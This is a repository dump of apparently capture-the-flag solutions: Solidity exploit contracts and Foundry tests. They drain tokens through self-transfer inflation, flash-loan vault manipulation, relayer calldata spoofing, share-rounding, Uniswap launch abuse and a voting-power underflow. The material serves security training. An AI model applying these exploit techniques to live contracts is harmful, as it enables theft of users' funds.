| } -------------------------------------------------------------------------------- /test/solutions/greyhats-dollar.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | import { Setup } from "src/greyhats-dollar/Setup.sol"; 5 | 6 | contract Exploit { 7 | Setup setup; 8 | 9 | constructor(Setup _setup) { 10 | setup = _setup; 11 | } 12 | 13 | function solve() external { 14 | // Claim 1000 GREY 15 | setup.claim(); 16 | 17 | // Mint 1000 GHD using 1000 GREY 18 | setup.grey().approve(address(setup.ghd()), 1000e18); 19 | setup.ghd().mint(1000e18); 20 | 21 | // Transfer GHD to ourselves until we have 50,000 GHD 22 | uint256 balance = setup.ghd().balanceOf(address(this)); 23 | while (balance < 50_000e18) { 24 | setup.ghd().transfer(address(this), balance); 25 | balance = setup.ghd().balanceOf(address(this)); 26 | } 27 | 28 | // Transfer all GHD to msg.sender 29 | setup.ghd().transfer(msg.sender, balance); 30 | } 31 | } -------------------------------------------------------------------------------- /test/solutions/launchpad.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.20; 3 | 4 | import { Setup } from "src/launchpad/Setup.sol"; 5 | import { UniswapV2Pair } from "src/launchpad/lib/v2-core/UniswapV2Pair.sol"; 6 | 7 | contract Exploit { 8 | Setup setup; 9 | 10 | constructor(Setup _setup) { 11 | setup = _setup; 12 | } 13 | 14 | function solve() external { 15 | // Claim 5e18 GREY 16 | setup.claim(); 17 | 18 | // Addresses 19 | address greyAddress = address(setup.grey()); 20 | address memeAddress = address(setup.meme()); 21 | address factoryAddress = address(setup.factory()); 22 | 23 | // Buy 5e18 - 1 GREY worth of MEME 24 | setup.grey().approve(factoryAddress, 5e18 - 1); 25 | uint256 tokenAmount = setup.factory().buyTokens(memeAddress, 5e18 - 1, 0); 26 | 27 | // Create GREY <> MEME pair on Uniswap 28 | address pair = setup.uniswapV2Factory().createPair(greyAddress, memeAddress); 29 | 30 | // Mint liquidity in UniswapV2 pair with all MEME and 1 wei of GREY 31 | setup.meme().transfer(pair, tokenAmount); 32 | setup.grey().transfer(pair, 1); 33 | uint256 liquidity = UniswapV2Pair(pair).mint(address(this)); 34 | 35 | // Launch MEME to Uniswap 36 | setup.factory().launchToken(memeAddress); 37 | 38 | // Withdraw all liquidity from UniswapV2 pair 39 | UniswapV2Pair(pair).transfer(pair, liquidity); 40 | UniswapV2Pair(pair).burn(address(this)); 41 | 42 | // Swap all MEME for GREY 43 | setup.meme().transfer(pair, setup.meme().balanceOf(address(this))); 44 | UniswapV2Pair(pair).swap(1.65e18, 0, address(this), ""); 45 | 46 | // Send all GREY to msg.sender 47 | setup.grey().transfer(msg.sender, setup.grey().balanceOf(address(this))); 48 | } 49 | } -------------------------------------------------------------------------------- /test/solutions/meta-staking.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | import { Setup, Staking, Relayer } from "src/meta-staking/Setup.sol"; 5 | import { Batch } from "src/meta-staking/lib/Batch.sol"; 6 | 7 | contract Exploit { 8 | Setup setup; 9 | address publicKey; 10 | uint256 privateKey; 11 | 12 | constructor(Setup _setup, address _publicKey, uint256 _privateKey) { 13 | setup = _setup; 14 | publicKey = _publicKey; 15 | privateKey = _privateKey; 16 | } 17 | 18 | function solve(uint8 v, bytes32 r, bytes32 s) external { 19 | // Transfer 10,000 STK to this address 20 | Relayer.Signature memory signature = Relayer.Signature({ 21 | v: v, 22 | r: r, 23 | s: s, 24 | deadline: type(uint256).max 25 | }); 26 | Relayer.TransactionRequest memory request = Relayer.TransactionRequest({ 27 | transaction: _getTransaction(), 28 | signature: signature 29 | }); 30 | setup.relayer().execute(request); 31 | 32 | // Withdraw GREY with STK and transfer to msg.sender 33 | setup.staking().unstake(10_000e18); 34 | setup.grey().transfer(msg.sender, 10_000e18); 35 | } 36 | 37 | function getTxHash() external view returns (bytes32) { 38 | return keccak256(abi.encode(_getTransaction(), setup.relayer().nonce())); 39 | } 40 | 41 | function _getTransaction() internal view returns (Relayer.Transaction memory) { 42 | // Create transaction to transfer 10,000 STK from Setup contract to this address 43 | bytes[] memory innerData = new bytes[](1); 44 | innerData[0] = abi.encodePacked( 45 | abi.encodeCall(Staking.transfer, (address(this), 10_000e18)), 46 | address(setup) 47 | ); 48 | 49 | // Pass data to multicall through relayer 50 | return Relayer.Transaction({ 51 | from: publicKey, 52 | to: address(setup.staking()), 53 | value: 0, 54 | gas: 10_000_000, 55 | data: abi.encodeCall(Batch.batchExecute, (innerData)) 56 | }); 57 | } 58 | } -------------------------------------------------------------------------------- /test/solutions/rational.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.20; 3 | 4 | import { Setup } from "src/rational/Setup.sol"; 5 | 6 | contract Exploit { 7 | Setup setup; 8 | 9 | constructor(Setup _setup) { 10 | setup = _setup; 11 | } 12 | 13 | function solve() external { 14 | // Claim 1000 GREY 15 | setup.claim(); 16 | 17 | // Redeem 0 shares 18 | setup.vault().redeem(0); 19 | 20 | // Mint 1 share 21 | setup.grey().approve(address(setup.vault()), 1); 22 | setup.vault().mint(1); 23 | 24 | // Redeem 1 share to withdraw all assets from the vault 25 | setup.vault().redeem(1); 26 | 27 | // Transfer all GREY to msg.sender 28 | setup.grey().transfer(msg.sender, 6000e18); 29 | } 30 | } -------------------------------------------------------------------------------- /test/solutions/simple-amm-vault.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | import { Setup } from "src/simple-amm-vault/Setup.sol"; 5 | 6 | contract Exploit { 7 | Setup setup; 8 | 9 | constructor(Setup _setup) { 10 | setup = _setup; 11 | } 12 | 13 | function solve() external { 14 | // Claim 1000 GREY 15 | setup.claim(); 16 | 17 | // Flash loan 1000 SV from the AMM 18 | setup.amm().flashLoan(true, 1000e18, ""); 19 | 20 | // Drain 1000 GREY from the AMM 21 | setup.amm().swap(true, 0, 1000e18); 22 | 23 | // Transfer all GREY to msg.sender 24 | setup.grey().transfer( 25 | msg.sender, 26 | setup.grey().balanceOf(address(this)) 27 | ); 28 | } 29 | 30 | function onFlashLoan(uint256 svAmount, bytes calldata) external { 31 | // Burn 1000 SV for 2000 GREY 32 | setup.vault().withdraw(svAmount); 33 | 34 | // Deposit 1000 GREY for 1000 SV. Share price is now 1:1 35 | setup.grey().approve(address(setup.vault()), 1000e18); 36 | setup.vault().deposit(1000e18); 37 | 38 | // Approve SV for AMM to return the flash loan 39 | setup.vault().approve(address(setup.amm()), svAmount); 40 | } 41 | } -------------------------------------------------------------------------------- /test/solutions/voting-vault.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | import { Setup } from "src/voting-vault/Setup.sol"; 5 | 6 | contract Exploit { 7 | Setup setup; 8 | uint256 proposalId; 9 | 10 | constructor(Setup _setup) { 11 | setup = _setup; 12 | } 13 | 14 | // Execute this first 15 | function solvePart1() external { 16 | // Claim 1000 GREY 17 | setup.claim(); 18 | 19 | // Lock 1 GREY in the voting vault 10 times 20 | setup.grey().approve(address(setup.vault()), 10); 21 | for (uint256 i = 0; i < 10; i++) setup.vault().lock(1); 22 | 23 | // Current voting power is 10 24 | assert(setup.vault().votingPower(address(this), block.number) == 10); 25 | 26 | // Delegate to another address 27 | setup.vault().delegate(address(1)); 28 | 29 | // Voting power is 10 - 13, which underflows to 2^224 - 3 30 | assert(setup.vault().votingPower(address(this), block.number) == type(uint224).max - 2); 31 | 32 | // Create proposal to drain GREY from the treasury 33 | proposalId = setup.treasury().propose( 34 | address(setup.grey()), 35 | setup.grey().balanceOf(address(setup.treasury())), 36 | msg.sender 37 | ); 38 | } 39 | 40 | // Execute this in the next block after solvePart1() 41 | function solvePart2() external { 42 | // Vote for the malicious proposal and execute it 43 | setup.treasury().vote(proposalId); 44 | setup.treasury().execute(proposalId); 45 | } 46 | } -------------------------------------------------------------------------------- /test/solve.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import {Test, console2} from "forge-std/Test.sol"; 5 | import {Setup as GHDSetup, Exploit as GHDExploit} from "test/solutions/greyhats-dollar.sol"; 6 | import {Setup as VVSetup, Exploit as VVExploit} from "test/solutions/voting-vault.sol"; 7 | import {Setup as SAVSetup, Exploit as SAVExploit} from "test/solutions/simple-amm-vault.sol"; 8 | import {Setup as ESetup, Exploit as EExploit} from "test/solutions/escrow.sol"; 9 | import {Setup as MSSetup, Exploit as MSExploit} from "test/solutions/meta-staking.sol"; 10 | import {Setup as GUSetup, Exploit as GUExploit} from "test/solutions/gnosis-unsafe.sol"; 11 | 12 | contract Solution is Test { 13 | function test_solve_greyhats_dollar() public { 14 | GHDSetup setup = new GHDSetup(); 15 | GHDExploit e = new GHDExploit(setup); 16 | 17 | e.solve(); 18 | 19 | assertTrue(setup.isSolved()); 20 | } 21 | 22 | function test_solve_voting_vault() public { 23 | VVSetup setup = new VVSetup(); 24 | VVExploit e = new VVExploit(setup); 25 | 26 | e.solvePart1(); 27 | vm.roll(block.number + 1); 28 | e.solvePart2(); 29 | 30 | assertTrue(setup.isSolved()); 31 | } 32 | 33 | function test_solve_simple_amm_vault() public { 34 | SAVSetup setup = new SAVSetup(); 35 | SAVExploit e = new SAVExploit(setup); 36 | 37 | e.solve(); 38 | 39 | assertTrue(setup.isSolved()); 40 | } 41 | 42 | function test_solve_escrow() public { 43 | ESetup setup = new ESetup(); 44 | EExploit e = new EExploit(setup); 45 | 46 | e.solve(); 47 | 48 | assertTrue(setup.isSolved()); 49 | } 50 | 51 | function test_solve_meta_staking() public { 52 | (address addr, uint256 privateKey) = makeAddrAndKey("PLAYER"); 53 | 54 | MSSetup setup = new MSSetup(); 55 | MSExploit e = new MSExploit(setup, addr, privateKey); 56 | 57 | (uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey, e.getTxHash()); 58 | e.solve(v, r, s); 59 | 60 | assertTrue(setup.isSolved()); 61 | } 62 | 63 | function test_solve_gnosis_unsafe() public { 64 | GUSetup setup = new GUSetup(); 65 | GUExploit e = new GUExploit(setup); 66 | 67 | e.solvePart1(); 68 | skip(1 minutes); 69 | e.solvePart2(); 70 | 71 | assertTrue(setup.isSolved()); 72 | } 73 | } -------------------------------------------------------------------------------- /test/solve2.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import {Test, console2} from "forge-std/Test.sol"; 5 | import {Setup as RationalSetup, Exploit as RationalExploit} from "test/solutions/rational.sol"; 6 | import {Setup as LaunchpadSetup, Exploit as LaunchpadExploit} from "test/solutions/launchpad.sol"; 7 | 8 | contract Solution is Test { 9 | function test_solve_rational() public { 10 | RationalSetup setup = new RationalSetup(); 11 | RationalExploit e = new RationalExploit(setup); 12 | 13 | e.solve(); 14 | 15 | assertTrue(setup.isSolved()); 16 | } 17 | 18 | function test_solve_launchpad() public { 19 | LaunchpadSetup setup = new LaunchpadSetup(); 20 | LaunchpadExploit e = new LaunchpadExploit(setup); 21 | 22 | e.solve(); 23 | 24 | assertTrue(setup.isSolved()); 25 | } 26 | } --------------------------------------------------------------------------------